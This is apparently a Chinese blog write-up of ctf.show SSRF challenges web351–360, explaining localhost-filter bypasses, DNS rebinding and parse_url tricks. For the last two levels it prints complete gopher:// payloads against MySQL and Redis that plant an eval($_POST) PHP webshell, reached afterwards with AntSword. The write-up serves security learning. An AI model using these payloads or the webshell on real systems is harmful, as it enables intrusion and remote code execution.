WEB入门——SSRF

web351

<?php  
error_reporting(0);  
highlight_file(__FILE__);  
$url=$_POST['url'];  
$ch=curl_init($url);  
curl_setopt($ch, CURLOPT_HEADER, 0);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$result=curl_exec($ch);  
curl_close($ch);  
echo ($result);  
?>

分析:
$ch=curl_init($url);:初始化一个 cURL 会话,并设置访问目标 URL
$ch 是 cURL 句柄
curl_setopt($ch, CURLOPT_HEADER, 0);:不返回 HTTP 响应头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);:将请求结果作为字符串返回,而不是直接输出

思路1:
既然说必须是本地用户,那我们就使用内网的ip进行访问
POST:

url=http://localhost/flag.php
url=http://127.0.0.1/flag.php

url=http://0/flag.php
url=http://0.0.0.0/flag.php

url=http://127.1/flag.php
url=http://2130706433/flag.php
url=http://017700000001/flag.php

url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://localhost/flag.php
url=http://127.127.127.127/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);

$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
	if(!preg_match('/localhost|127.0.0/')){
		$ch=curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$result=curl_exec($ch);
		curl_close($ch);
		echo ($result);
	}else{
    	die('hacker');
	}
}else{
    die('hacker');
}
?>

preg_match() 少了第二个参数(被匹配的字符串),导致正则根本没有对 URL 做任何检查
WEB入门——SSRF.png
POST:

转数字
url=http://2130706433/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
	if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
		$ch=curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$result=curl_exec($ch);
		curl_close($ch);
		echo ($result);
	}else{
    	die('hacker');
	}
}else{
    die('hacker');
}
?>

POST:

十六进制
url=http://0x7F.0.0.1/flag.php
八进制 
url=http://0177.0.0.1/flag.php
短
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php
转数字
url=http://2130706433/flag.php
url=http://017700000001/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
	if(!preg_match('/localhost|1|0|。/i', $url)){
		$ch=curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$result=curl_exec($ch);
		curl_close($ch);
		echo ($result);
    }else{
    	die('hacker');
	}
}else{
    die('hacker');
}
?>

难点:过滤了1和0
解决:

记录类型 全称 / 含义 核心作用 指向对象
A Address 域名 → IPv4 地址 IPv4
AAAA IPv6 Address 域名 → IPv6 地址 IPv6
CNAME Canonical Name 域名 → 另一个域名 域名
MX Mail Exchange 邮件路由 邮件服务器
TXT Text 存储文本信息 文本
SRV Service 服务发现 主机+端口
NS Name Server 委派 DNS 解析权 DNS 服务器
CAA Certification Authority Authorization 证书签发授权 CA
将域名的DNS解析A类指向127.0.0.1
URL 字符串
   ↓
DNS 解析(sudo.cc → 127.0.0.1)
   ↓
TCP 连接 127.0.0.1:80
   ↓
GET /flag.php

找到一个A记录是127.0.0.1

http://sudo.cc/

解决:

url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
	$host=$x['host'];
	if((strlen($host)<=5)){
		$ch=curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$result=curl_exec($ch);
		curl_close($ch);
		echo ($result);
	}else{
    	die('hacker');
	}
}else{
    die('hacker');
}
?>

难点:多了一个限制让host位数小于5

url=http://127.1/flag.php
url=http://0/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
	$host=$x['host'];
	if((strlen($host)<=3)){
		$ch=curl_init($url);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		$result=curl_exec($ch);
		curl_close($ch);
		echo ($result);
	}else{
    	die('hacker');
	}
}else{
    die('hacker');
}
?>

难点:host位数小于3

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
	$ip = gethostbyname($x['host']);
	echo '</br>'.$ip.'</br>';
	if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    	die('ip!');
	}
	echo file_get_contents($_POST['url']);
}else{
    die('scheme');
}
?>

考点:DNS重绑定
分析:
gethostbyname():返回主机名对应的 IPv4地址。
filter_var():使用特定的过滤器过滤一个变量
FILTER_VALIDATE_IP:常量验证IP地址。
FILTER_FLAG_NO_PRIV_RANGE:要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE:要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值
补充:
FILTER_FLAG_IPV4 :要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 :要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)

保留地址主要在以下四类:

A类:10.0.0.0-10.255.255.255
A类:100.64.0.0-100.127.255.255 
B类:172.16.0.0-172.31.255.255
C类:192.168.0.0-192.168.255.255

总的来说就是过滤掉了对私有地址的访问

解决:
http://ceye.io/
添加个DNS Rebinding为任意ip,再添加一个为127.0.0.1,否则payload打过去会直接显示127.0.0.1 ip
WEB入门——SSRF-1.png
记得在分配的域名前面加个r.

url=http://r.33ee34.ceye.io/flag.php

解释:
DNS Rebinding 的本质:
DNS 是“有时效的
DNS 记录有一个东西叫 TTL(Time To Live)

这个解析结果可以缓存多久

TTL 很短时,每一次解析都可能返回 不同 IP
程序中发生了两次“逻辑上独立”的解析
第一次(校验阶段)

$ip = gethostbyname($x['host']);

用来做 安全检查
第二次(访问阶段)

file_get_contents($_POST['url']);

PHP 内部会 再次解析域名,这两次解析不共享结果

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

考点:parse_url解析
分析:
http://ctf. 开头, 中间可以是任意字符(.*),以show结尾。

解决:

http://ctf.@127.0.0.1/flag.php?show

解析:
以前的url会在协议后面加上用户名,现在因为密码明文运输了写法就很少见

schema://username@host:port

ctf.当成用户名了

web359

抓包

POST /check.php HTTP/1.1
Host: 2bcd23d8-9342-4494-a5d2-e8ba1f185ac6.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://2bcd23d8-9342-4494-a5d2-e8ba1f185ac6.challenge.ctf.show/
Dnt: 1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Connection: keep-alive

u=Username&returl=https%3A%2F%2F404.chall.ctf.show%2F

用returl参数请求一下百度发现可以存在漏洞
WEB入门——SSRF-3.png

python2 gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile '/var/www/html/2.php'

WEB入门——SSRF-2.png
生成的 POC 里,_字符后面的内容还要 URL编码一次
因为 PHP接收到POST或GET请求数据,会自动进行一次URL解码,比如 %00 解码后,PHP会直接截断

gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%35%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%32%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%32%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%37%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30%25%32%37%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31

蚁剑连接

解析:
MySQL认证过程
MySQL客户端连接并登录服务器时存在两种情况:1.需要密码认证 2.无需密码认证
需要密码认证:使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证
无需密码认证:直接发送TCP/IP数据包即可

在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行

gophar协议
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议,当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。
利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求

gopher://<host>:<port>/<gopher-path>

工具下载地址:https://github.com/tarunkant/Gopherus

web360

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

考点:gophar协议打redis
POST:

url=dict://127.0.0.1:6379

返回:

-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP OK

WEB入门——SSRF-4.png

python2 gopherus.py --exploit redis
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]);?>

_后面的内容url编码一次

gopher://127.0.0.1:6379/_%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%32%38%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%50%4f%53%54%25%35%42%31%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41

显示超时,但可以访问

/shell.php

解析:
漏洞的产生条件有以下两点:
1.redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
2.没有设置密码认证(一般为空),可以免密码远程登录redis服务

posted @ 2026-06-12 20:32  Cava1i  阅读(11)  评论(0)    收藏  举报